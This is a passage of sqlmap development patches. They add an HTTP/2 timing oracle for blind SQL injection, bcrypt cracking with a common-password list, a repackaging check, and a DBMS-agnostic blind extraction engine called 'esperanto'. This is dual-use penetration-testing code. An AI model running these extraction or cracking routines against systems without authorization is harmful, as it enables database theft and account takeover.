struct.pack("!I", BIG_WINDOW - 65535))) except Exception: self.close() @@ -514,6 +518,9 @@ def exchange(self, method, path, authority, headers, body, timeout): elif ftype == PING: if not (flags & FLAG_ACK): self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == PUSH_PROMISE: + self.usable = False # we advertised ENABLE_PUSH=0; a push would desync HPACK + raise _UnprocessedStream("unexpected PUSH_PROMISE despite SETTINGS_ENABLE_PUSH=0") elif ftype == GOAWAY: self.usable = False # server won't accept new streams -> retire connection last_sid = (struct.unpack("!I", payload[4:8])[0] & 0x7fffffff) if len(payload) >= 8 else 0 @@ -601,12 +608,18 @@ def exchange_pair(self, requests, timeout): elif ftype == PING: if not (flags & FLAG_ACK): self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == PUSH_PROMISE: + self.usable = False # we advertised ENABLE_PUSH=0; a push would desync HPACK + raise _UnprocessedStream("unexpected PUSH_PROMISE despite SETTINGS_ENABLE_PUSH=0") elif ftype == GOAWAY: + # Routine on a long-lived connection (server retires it after its per-connection request cap). + # The pair did not complete cleanly, so it must be re-sent on a fresh connection; flag it + # retry-safe (idempotent boolean read) rather than crashing the extraction. self.usable = False - raise IOError("GOAWAY during timeless pair") + raise _UnprocessedStream("GOAWAY during timeless pair") elif ftype == RST_STREAM and fsid in state: self.usable = False - raise IOError("stream reset during timeless pair") + raise _UnprocessedStream("stream reset during timeless pair") elif ftype in (HEADERS, CONTINUATION) and fsid in state: p = payload if ftype == HEADERS: diff --git a/lib/request/timeless.py b/lib/request/timeless.py index 39f49615344..f0997594e54 100644 --- a/lib/request/timeless.py +++ b/lib/request/timeless.py @@ -17,6 +17,8 @@ # front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable # delta) so the caller never applies the oracle blind - it falls back to classic time-based instead. +import socket +import ssl import threading from lib.core.enums import DBMS @@ -49,18 +51,32 @@ def buildConditionPair(condition, heavy, cheap="0"): return condExpr, negExpr -def _pairOrder(conn, reqA, reqB, timeout): +def _pairOrder(connSource, reqA, reqB, timeout, retries=2): """Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two - stream ids in send order (reqA got the lower id).""" - order, _results = conn.exchange_pair([reqA, reqB], timeout) - loSid = conn.next_sid - 4 - hiSid = conn.next_sid - 2 - return order[0], loSid, hiSid + stream ids in send order (reqA got the lower id). + + `connSource` is either a live _H2Connection or a zero-arg callable returning one. The callable form + lets a dropped connection be replaced transparently and the pair re-sent: a long extraction routinely + outlives a single HTTP/2 connection (the server retires it with GOAWAY after its per-connection request + cap), and a coalesced boolean-read pair is idempotent, so re-sending it on a fresh connection is safe. + A raw connection (used by calibration and the self-test) is not retried - it simply raises.""" + attempt = 0 + while True: + conn = connSource() if callable(connSource) else connSource + try: + order, _results = conn.exchange_pair([reqA, reqB], timeout) + return order[0], conn.next_sid - 4, conn.next_sid - 2 + except (socket.error, ssl.SSLError, IOError): + conn.close() # retire; a callable source reopens on the next pass + attempt += 1 + if not callable(connSource) or attempt > retries: + raise -def readBit(conn, reqCond, reqNeg, votes=5, timeout=30): +def readBit(connSource, reqCond, reqNeg, votes=5, timeout=30): """Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is - ambiguous (load-degraded). + ambiguous (load-degraded). `connSource` is a live connection or a factory (see _pairOrder) so a + connection dropped mid-vote (e.g. server GOAWAY) is replaced and that pair re-sent transparently. reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes @@ -83,10 +99,10 @@ def readBit(conn, reqCond, reqNeg, votes=5, timeout=30): cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits while True: if i % 2 == 0: - first, loSid, _hiSid = _pairOrder(conn, reqCond, reqNeg, timeout) + first, loSid, _hiSid = _pairOrder(connSource, reqCond, reqNeg, timeout) condSid = loSid else: - first, _loSid, hiSid = _pairOrder(conn, reqNeg, reqCond, timeout) + first, _loSid, hiSid = _pairOrder(connSource, reqNeg, reqCond, timeout) condSid = hiSid if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE condLast += 1 @@ -159,6 +175,16 @@ def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeou def _conn(self): conn = getattr(self._local, "conn", None) if conn is None or not conn.usable: + if conn is not None: # retire the dead one so reconnects don't leak sockets + try: + conn.close() + except Exception: + pass + with self._lock: + try: + self._conns.remove(conn) + except ValueError: + pass conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout) with self._lock: self._conns.append(conn) @@ -172,9 +198,11 @@ def readBitFromSpecs(self, condSpec, negSpec=None): be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the (url, method, headers, post) tuples from getPage(buildOnly=True).""" reqCond = _specToReq(condSpec, self.host) + # Pass the bound _conn factory (not a resolved connection) so a pair whose connection is retired + # mid-read (server GOAWAY on a long dump) is transparently re-sent on a fresh one. if negSpec is not None: - return readBit(self._conn(), reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout) - return readBitAsymmetric(self._conn(), reqCond, self.refReq, self.asymVotes, self.timeout) + return readBit(self._conn, reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout) + return readBitAsymmetric(self._conn, reqCond, self.refReq, self.asymVotes, self.timeout) def close(self): with self._lock: @@ -655,7 +683,7 @@ def readBitLive(conn, condition, vector=None, votes=1, timeout=30): return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout) -def readBitAsymmetric(conn, reqCond, reqRef, votes=12, timeout=30): +def readBitAsymmetric(connSource, reqCond, reqRef, votes=12, timeout=30): """Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50 and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS @@ -668,10 +696,10 @@ def readBitAsymmetric(conn, reqCond, reqRef, votes=12, timeout=30): condLast = 0 for i in range(votes): if i % 2 == 0: - order, _ = conn.exchange_pair([reqCond, reqRef], timeout); condSid = conn.next_sid - 4 + first, condSid, _hiSid = _pairOrder(connSource, reqCond, reqRef, timeout) else: - order, _ = conn.exchange_pair([reqRef, reqCond], timeout); condSid = conn.next_sid - 2 - if order[0] != condSid: # cond finished last -> it ran the heavy branch this vote + first, _loSid, condSid = _pairOrder(connSource, reqRef, reqCond, timeout) + if first != condSid: # cond finished last -> it ran the heavy branch this vote condLast += 1 return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%) From da07c8756d14c736cda90d16056fd8547fccfbb0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 13 Jul 2026 09:03:03 +0200 Subject: [PATCH 761/853] Minor improvement for slow hash cracking algos --- lib/core/settings.py | 11 ++- lib/utils/hash.py | 227 +++++++++++++++++++++++++++++++++++++++++-- 2 files changed, 227 insertions(+), 11 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7924ef16563..d8ecf9de5b4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.104" +VERSION = "1.10.7.105" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -519,6 +519,10 @@ # Reference: http://www.the-interweb.com/serendipity/index.php?/archives/94-A-brief-analysis-of-40,000-leaked-MySpace-passwords.html COMMON_PASSWORD_SUFFIXES += ("!", ".", "*", "!!", "?", ";", "..", "!!!", ",", "@") +# Most common passwords (frequency-ordered) tried for very slow, per-hash-salted algorithms (bcrypt) where a +# full dictionary is impractical; kept small on purpose so a candidate-major attack stays within a time budget +COMMON_PASSWORDS = ("123456", "123456789", "12345678", "password", "qwerty", "12345", "123123", "111111", "1234567890", "1234567", "qwerty123", "000000", "1q2w3e", "abc123", "password1", "1234", "qwertyuiop", "123321", "password123", "1q2w3e4r5t", "iloveyou", "654321", "666666", "987654321", "1q2w3e4r", "7777777", "dragon", "1qaz2wsx", "123qwe", "monkey", "123456a", "112233", "qwe123", "159753", "letmein", "11111111", "222222", "123abc", "qazwsx", "555555", "princess", "admin", "121212", "1234qwer", "sunshine", "football", "aaaaaa", "123123123", "computer", "michael", "superman", "welcome", "zxcvbnm", "asdfghjkl", "1111", "shadow", "master", "999999", "88888888", "secret", "qwerty1", "12341234", "101010", "1111111", "asdfgh", "147258369", "qwertyui", "123654", "google", "123456789a", "ashley", "jesus", "ninja", "mustang", "baseball", "jennifer", "hunter", "soccer", "batman", "andrew", "tigger", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "hannah", "maggie", "696969", "harley", "1234abcd", "trustno1", "buster", "starwars", "freedom", "whatever", "qazwsxedc", "passw0rd") + # Splitter used between requests in WebScarab log files WEBSCARAB_SPLITTER = "### Conversation" @@ -882,6 +886,11 @@ # Give up on hash recognition if nothing was found in first given number of rows HASH_RECOGNITION_QUIT_THRESHOLD = 1000 +# Wall-clock budget (in seconds) for the pure-Python cracking of very slow, per-hash-salted algorithms +# (bcrypt); candidate-major so the most common passwords are tried against every hash first, then it stops +# and the remainder is left for a dedicated tool (e.g. 'hashcat'). Overridable via 'SQLMAP_HASH_ATTACK_TIME_LIMIT' +HASH_ATTACK_TIME_LIMIT = 300 + # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 537b396bbbd..9a7ef72e701 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -80,9 +80,11 @@ from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import COMMON_PASSWORD_SUFFIXES +from lib.core.settings import COMMON_PASSWORDS from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_PREFIX +from lib.core.settings import HASH_ATTACK_TIME_LIMIT from lib.core.settings import HASH_BINARY_COLUMNS_REGEX from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER from lib.core.settings import HASH_MOD_ITEM_DISPLAY @@ -807,9 +809,40 @@ def _encode64(input_, count): if _scrypt is not None: __functions__[HASH.WERKZEUG_SCRYPT] = werkzeug_scrypt_passwd -# Recognized-only formats with no pure-Python/stdlib crack path; identified and pointed to dedicated tools -HASH_TOOL_HINTS = { - HASH.ARGON2: "an Argon2 hash (e.g. 'hashcat -m 34000' or 'john --format=argon2')", +# hashcat '-m' mode per recognized hash format (Reference: https://hashcat.net/wiki/doku.php?id=example_hashes); +# used to point the user at the right command when hashes are stored or cannot be cracked in pure Python +# (e.g. Argon2). Only well-established modes are listed - a format left out just gets the generic hint +HASHCAT_MODES = { + HASH.ARGON2: 34000, + HASH.MYSQL_OLD: 200, + HASH.MYSQL: 300, + HASH.POSTGRES: 12, + HASH.MSSQL_OLD: 131, + HASH.MSSQL: 132, + HASH.MSSQL_NEW: 1731, + HASH.ORACLE_OLD: 3100, + HASH.ORACLE: 112, + HASH.ORACLE_12C: 12300, + HASH.MD5_GENERIC: 0, + HASH.SHA1_GENERIC: 100, + HASH.SHA224_GENERIC: 1300, + HASH.SHA256_GENERIC: 1400, + HASH.SHA384_GENERIC: 10800, + HASH.SHA512_GENERIC: 1700, + HASH.CRYPT_GENERIC: 1500, + HASH.APACHE_SHA1: 101, + HASH.SSHA: 111, + HASH.SSHA256: 1411, + HASH.SSHA512: 1711, + HASH.UNIX_MD5_CRYPT: 500, + HASH.APACHE_MD5_CRYPT: 1600, + HASH.SHA256_UNIX_CRYPT: 7400, + HASH.SHA512_UNIX_CRYPT: 1800, + HASH.BCRYPT: 3200, + HASH.PHPASS: 400, + HASH.VBULLETIN: 2611, + HASH.DJANGO_SHA1: 124, + HASH.DJANGO_PBKDF2_SHA256: 10000, } def _finalize(retVal, results, processes, attack_info=None): @@ -852,12 +885,18 @@ def storeHashesToFile(attack_dict): return items = OrderedSet() + regexes = set() for user, hashes in attack_dict.items(): for hash_ in hashes: hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ - if hash_ and hash_ != NULL and hashRecognition(hash_): - item = None + if hash_ and hash_ != NULL: + regex = hashRecognition(hash_) + if not regex: + continue + + regexes.add(regex) + if user and not user.startswith(DUMMY_USER_PREFIX): item = "%s:%s\n" % (user, hash_) else: @@ -886,6 +925,12 @@ def storeHashesToFile(attack_dict): except (UnicodeError, TypeError): pass + modes = sorted(set(HASHCAT_MODES[_] for _ in regexes if _ in HASHCAT_MODES)) + if modes: + infoMsg = "the stored hashes can be cracked with a dedicated tool " + infoMsg += "(e.g. %s)" % ", ".join("'hashcat -m %d'" % _ for _ in modes) + logger.info(infoMsg) + def attackCachedUsersPasswords(): if kb.data.cachedUsersPasswords: results = dictionaryAttack(kb.data.cachedUsersPasswords) @@ -1204,6 +1249,90 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found with proc_count.get_lock(): proc_count.value -= 1 +def _bruteProcessVariantSalted(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api, deadline): + # Candidate-major crack for the very slow, per-hash-salted algorithms (bcrypt): the OUTER loop is the + # candidate word (partitioned across processes) and the INNER loop is every still-unsolved hash, each + # verified with its own salt. Trying the most common passwords against ALL hashes first means a weak + # account anywhere in a dumped table is found in the first rounds - a hash-major loop would instead grind + # the whole wordlist on row 1 before ever testing row 2. Bounded by `deadline` so hundreds of separately + # salted hashes can't become an hours-long run; whatever is left is meant for a dedicated tool. + if IS_WIN: + coloramainit() + + count = 0 + rotator = 0 + remaining = attack_info[:] # per-process (post-fork) copy; shrinks as this process solves hashes + + wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) + + try: + for word in wordlist: + if not remaining or time.time() > deadline: + break + + count += 1 + + if isinstance(word, six.binary_type): + word = getUnicode(word) + elif not isinstance(word, six.string_types): + continue + + if suffix: + word = word + suffix + + for item in remaining[:]: + ((user, hash_), kwargs) = item + + try: + current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) + + if hash_ == current: + retVal.put((user, hash_, word)) + + clearConsoleLine() + + infoMsg = "\r[%s] [INFO] cracked password '%s'" % (time.strftime("%X"), word) + + if user and not user.startswith(DUMMY_USER_PREFIX): + infoMsg += " for user '%s'\n" % user + else: + infoMsg += " for hash '%s'\n" % hash_ + + dataToStdout(infoMsg, True) + + remaining.remove(item) + + except KeyboardInterrupt: + raise + + except (UnicodeEncodeError, UnicodeDecodeError): + pass # ignore possible encoding problems caused by some words in custom dictionaries + + except Exception as ex: + warnMsg = "there was a problem while hashing entry: %s ('%s'). " % (repr(word), getSafeExString(ex)) + warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS + logger.critical(warnMsg) + + if (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: + rotator += 1 + + if rotator >= len(ROTATING_CHARS): + rotator = 0 + + status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) + + if not api: + dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) + + except KeyboardInterrupt: + pass + + finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) + if hasattr(proc_count, "value"): + with proc_count.get_lock(): + proc_count.value -= 1 + def dictionaryAttack(attack_dict): global _multiprocessing @@ -1251,8 +1380,9 @@ def dictionaryAttack(attack_dict): infoMsg = "using hash method '%s'" % __functions__[regex].__name__ logger.info(infoMsg) else: - warnMsg = "sqlmap identified %s that cannot be cracked with the " % HASH_TOOL_HINTS.get(regex, "a hash") - warnMsg += "built-in dictionary attack" + warnMsg = "sqlmap identified a hash that cannot be cracked with the built-in dictionary attack" + if regex in HASHCAT_MODES: + warnMsg += " (use e.g. 'hashcat -m %d')" % HASHCAT_MODES[regex] singleTimeWarnMessage(warnMsg) for hash_regex in hash_regexes: @@ -1350,11 +1480,21 @@ def dictionaryAttack(attack_dict): if not attack_info: continue - if not kb.wordlists: + # the pure-Python bcrypt is so slow (seconds per candidate) that even the small dictionary would take + # many hours; it uses the built-in COMMON_PASSWORDS list (no file), tried candidate-major under a time + # budget below, and points at a dedicated tool for anything beyond it + if hash_regex in (HASH.BCRYPT, HASH.WORDPRESS_BCRYPT): + warnMsg = "bcrypt hashing is very slow in pure Python; trying only the most common passwords. " + warnMsg += "For an exhaustive attack use a dedicated tool" + if hash_regex in HASHCAT_MODES: + warnMsg += " (e.g. 'hashcat -m %d')" % HASHCAT_MODES[hash_regex] + singleTimeWarnMessage(warnMsg) + + elif not kb.wordlists: while not kb.wordlists: - # the slowest of all methods hence smaller default dict - if hash_regex in (HASH.ORACLE_OLD, HASH.ORACLE_12C, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.MYSQL_SHA2): + # the slowest of the remaining methods hence smaller default dict + if hash_regex in (HASH.ORACLE_OLD, HASH.ORACLE_12C, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.MYSQL_SHA2): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] @@ -1469,6 +1609,73 @@ def dictionaryAttack(attack_dict): clearConsoleLine() + # bcrypt is minutes-per-candidate in pure Python and every hash is separately salted (no shared + # work), so a whole table's worth would run for hours; crack candidate-major (most common passwords + # against all hashes first) under a wall-clock budget, then leave the rest for a dedicated tool + elif hash_regex in (HASH.BCRYPT, HASH.WORDPRESS_BCRYPT): + deadline = time.time() + HASH_ATTACK_TIME_LIMIT + bcryptWordlist = list(COMMON_PASSWORDS) + custom_wordlist # built-in list (+usernames), no file + + for suffix in suffix_list: + if not attack_info or processException or time.time() > deadline: + break + + if suffix: + clearConsoleLine() + infoMsg = "using suffix '%s'" % suffix + logger.info(infoMsg) + + retVal = None + processes = [] + + try: + if _multiprocessing: + if _multiprocessing.cpu_count() > 1: + infoMsg = "starting %d processes " % _multiprocessing.cpu_count() + singleTimeLogMessage(infoMsg) + + gc.disable() + + retVal = _multiprocessing.Queue() + count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) + + for i in xrange(_multiprocessing.cpu_count()): + process = _multiprocessing.Process(target=_bruteProcessVariantSalted, args=(attack_info, hash_regex, suffix, retVal, i, count, [], bcryptWordlist, conf.api, deadline)) + processes.append(process) + + for process in processes: + process.daemon = True + process.start() + + while count.value > 0: + time.sleep(0.5) + + else: + warnMsg = "multiprocessing hash cracking is currently " + warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") + singleTimeWarnMessage(warnMsg) + + retVal = _queue.Queue() + _bruteProcessVariantSalted(attack_info, hash_regex, suffix, retVal, 0, 1, [], bcryptWordlist, conf.api, deadline) + + except KeyboardInterrupt: + print() + processException = True + warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" + logger.warning(warnMsg) + + finally: + _finalize(retVal, results, processes, attack_info) + + clearConsoleLine() + + if attack_info and not processException: # _finalize() drops solved hashes, so any left are uncracked + warnMsg = "%d bcrypt hash(es) not cracked with common passwords; " % len(attack_info) + warnMsg += "use a dedicated tool for an exhaustive attack" + if hash_regex in HASHCAT_MODES: + warnMsg += " (e.g. 'hashcat -m %d')" % HASHCAT_MODES[hash_regex] + logger.warning(warnMsg) + else: for ((user, hash_), kwargs) in attack_info: if processException: From c496cf99e69c6f48fc6f37174184667493d3674f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 16 Jul 2026 18:12:29 +0200 Subject: [PATCH 762/853] Adding check for repackaging prick --- lib/core/settings.py | 2 +- sqlmap.py | 16 ++++++++++++++++ 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d8ecf9de5b4..4275713864c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.105" +VERSION = "1.10.7.106" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 7a4df6b91bd..a969636fd04 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -134,6 +134,22 @@ def checkEnvironment(): logger.critical(errMsg) raise SystemExit + # Check for being run from inside a third-party repackage bundling sqlmap for resale + _ = modulePath() + repackaged = "sqlbox" in _.lower() + while not repackaged and os.path.dirname(_) != _: + if os.path.basename(_) == "XDATA" and all(os.path.isdir(os.path.join(_, __)) for __ in ("_tools", "_DB")): + repackaged = True + _ = os.path.dirname(_) + + if repackaged: + errMsg = "this sqlmap instance appears to be running from inside a third-party " + errMsg += "repackage. sqlmap is free and open source under the GPL (https://sqlmap.org). " + errMsg += "embedding it into proprietary or paid software requires a separate commercial " + errMsg += "license (sales@sqlmap.org)" + logger.critical(errMsg) + raise SystemExit + # Patch for pip (import) environment if "sqlmap.sqlmap" in sys.modules: for _ in ("cmdLineOptions", "conf", "kb"): From 57f84852798e54e387efd1a4fb51f0cf7a4955de Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 16 Jul 2026 18:13:32 +0200 Subject: [PATCH 763/853] Adding Esperanto DBMS agnostic engine --- data/xml/queries.xml | 4 +- extra/esperanto/__init__.py | 26 ++ extra/esperanto/__main__.py | 609 +++++++++++++++++++++++++++++ extra/esperanto/atlas.py | 431 +++++++++++++++++++++ extra/esperanto/discovery.py | 467 ++++++++++++++++++++++ extra/esperanto/engine.py | 107 +++++ extra/esperanto/enumeration.py | 613 +++++++++++++++++++++++++++++ extra/esperanto/extraction.py | 685 +++++++++++++++++++++++++++++++++ extra/esperanto/handler.py | 223 +++++++++++ extra/esperanto/oracle.py | 119 ++++++ extra/esperanto/records.py | 233 +++++++++++ extra/esperanto/run.py | 31 ++ extra/esperanto/wordlist.py | 77 ++++ lib/controller/action.py | 2 +- lib/controller/handler.py | 10 + lib/core/convert.py | 24 +- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 + lib/request/inject.py | 5 +- tests/test_esperanto.py | 656 +++++++++++++++++++++++++++++++ 20 files changed, 4318 insertions(+), 9 deletions(-) create mode 100644 extra/esperanto/__init__.py create mode 100644 extra/esperanto/__main__.py create mode 100644 extra/esperanto/atlas.py create mode 100644 extra/esperanto/discovery.py create mode 100644 extra/esperanto/engine.py create mode 100644 extra/esperanto/enumeration.py create mode 100644 extra/esperanto/extraction.py create mode 100644 extra/esperanto/handler.py create mode 100644 extra/esperanto/oracle.py create mode 100644 extra/esperanto/records.py create mode 100644 extra/esperanto/run.py create mode 100644 extra/esperanto/wordlist.py create mode 100644 tests/test_esperanto.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 0585845bcfd..d7c271ef327 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -314,8 +314,8 @@ - - + + diff --git a/extra/esperanto/__init__.py b/extra/esperanto/__init__.py new file mode 100644 index 00000000000..81500240451 --- /dev/null +++ b/extra/esperanto/__init__.py @@ -0,0 +1,26 @@ +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +esperanto - a DBMS-agnostic SQL poking prototype. + +Given only a boolean oracle - a callable oracle(condition) -> bool that reports +whether an arbitrary SQL boolean expression holds at the target - this discovers +the target's SQL dialect from scratch (concatenation operator, substring / length +/ char-code functions, string comparison, catalog surface) and then extracts data +char-by-char WITHOUT ever being told which DBMS is on the other end. + +The candidate variants below are harvested from sqlmap's own data/xml/queries.xml +across all 31 supported DBMSes - the point is to reuse that accumulated knowledge +as a single "esperanto" the tool speaks at any backend, rather than fingerprinting +first and loading one dialect. + +This is a self-contained research prototype (no sqlmap imports); run it directly +for a built-in self-test against an in-memory SQLite oracle. +""" + +from .engine import Esperanto +from .engine import hostExtract +from .handler import buildHandler +from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy +from .records import OracleUndecided, QueryBudgetExceeded diff --git a/extra/esperanto/__main__.py b/extra/esperanto/__main__.py new file mode 100644 index 00000000000..8f9577e85a1 --- /dev/null +++ b/extra/esperanto/__main__.py @@ -0,0 +1,609 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import _REPL +from .engine import Esperanto, hostExtract +from .records import ( + OracleUndecided, ExtractResult, QueryBudgetExceeded) + + +def _sqliteOracle(block=None): + """In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober). + `block` is a regex of constructs to refuse, used to force fallback modes.""" + import re as _re + import sqlite3 + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id INTEGER, name TEXT)") + con.execute("INSERT INTO users VALUES (1, 'Admin-42')") + con.commit() + pat = _re.compile(block) if block else None + + def oracle(condition): + if pat and pat.search(condition): + return False + try: + cur = con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % condition) + return cur.fetchone()[0] == 1 + except sqlite3.DatabaseError: + # unsupported/rejected SQL is a valid negative capability result; only + # transport/observation failures are allowed to raise (oracle contract) + return False + + return oracle + + +def _selftest(): + # exercise every compare mode against one byte-ordered, case-sensitive backend + # (SQLite) by selectively refusing constructs - proves each extraction path + code = r"\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|TO_CODE_POINTS)\(" + coll = r"COLLATE|\bBINARY\s*\(|AS\s+(BLOB|bytea|VARBINARY|RAW)|NLSSORT|UTL_RAW" + hexb = r"\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR" + modes = ( + ("code", None), + ("collation", r"(?i)(%s)" % code), + ("hex", r"(?i)(%s|%s)" % (code, coll)), + ("ordinal", r"(?i)(%s|%s|%s)" % (code, coll, hexb)), + ) + for expected, block in modes: + esp = Esperanto(_sqliteOracle(block=block)) + dialect = esp.discover() + got = esp.extract("(SELECT name FROM users WHERE id=1)") + assert dialect.compare == expected, "expected %s mode, got %s" % (expected, dialect.compare) + assert got == "Admin-42", "%s-mode extraction failed: %r" % (expected, got) + print(" %-8s mode: %-52r -> extracted %r in %d queries" % ( + expected, dialect, got, esp.queryCount)) + # equality mode exercised directly (charset scan) + esp = Esperanto(_sqliteOracle()) + esp.discover() + esp.dialect.compare = "equality" + assert esp.extract("(SELECT name FROM users WHERE id=1)") == "Admin-42" + print(" equality mode: charset-scan extraction -> OK") + + # the detective: name the backend blind + esp = Esperanto(_sqliteOracle()) + esp.discover() + verdict = esp.identify() + assert verdict["product"] == "SQLite", "identify failed: %r" % verdict + print(" identify: product=%(product)r version=%(version)r dual=%(dual)s" % verdict) + + # bytes-first extraction: byte-exact, encoding chosen by the caller + esp = Esperanto(_sqliteOracle()) + esp.discover() + mb = "('A' || CHAR(233) || CHAR(8364))" # 'A' + U+00E9 + U+20AC, built via ASCII SQL (py2/py3-safe, no non-ASCII source) + raw = esp.extractBytes(mb) + assert raw == u"A\xe9\u20ac".encode("utf-8"), "extractBytes: %r" % raw + assert esp.extractText(mb) == u"A\xe9\u20ac" + print(" extractBytes: %r extractText: %r" % (raw, esp.extractText(mb))) + + # quorum: a noisy oracle that flips/errors a minority of probes must not corrupt. + # tested across several seeds so the pass doesn't hinge on one lucky sequence. + import random as _random + for seed in (1234, 7, 99, 2026): + base = _sqliteOracle() + rng = _random.Random(seed) + + def noisy(cond, _b=base, _r=rng): + roll = _r.random() + if roll < 0.12: + raise RuntimeError("transient") # 12% errors (resampled) + if roll < 0.20: + return not _b(cond) # 8% lies + return _b(cond) + + esp = Esperanto(noisy, quorum=6) + esp.discover() + got = esp.extract("(SELECT name FROM users WHERE id=1)") + assert got == "Admin-42", "quorum extraction (seed %d) failed: %r" % (seed, got) + print(" quorum=6 under 20%% noisy oracle (12%% err + 8%% lies) -> 'Admin-42' across 4 seeds") + + # -- integrity guards (peer-review round 4) -------------------------------- + # empty/NULL are falsey; a bounded prefix (incl. limit=0) is incomplete+truncated + assert not ExtractResult("") and not ExtractResult(None) + esp = Esperanto(_sqliteOracle()) + esp.discover() + zero = esp.extractResult("'abc'", limit=0) + assert zero.value == "" and zero.truncated and not zero.complete, "limit=0: %r" % zero + # an invalid expression must NOT masquerade as a complete SQL NULL + bad = esp.extractResult("NO_SUCH_FN(1)") + assert bad.value is None and not bad.is_null and not bad.complete and bad.warnings, "invalid->NULL: %r" % bad + # integer extraction must raise, not saturate + try: + esp.extractInteger("100", maximum=10) + assert False, "extractInteger saturated silently" + except OverflowError: + pass + # an unobservable oracle must FAIL CLOSED, never silently 'succeed'. two guarantees: + # (a) discovery aborts (a broken oracle can't manufacture a working dialect); while + # probing candidate rungs an unobservable probe reads False, so sanity fails -> + # RuntimeError, never a bogus discovered dialect + try: + 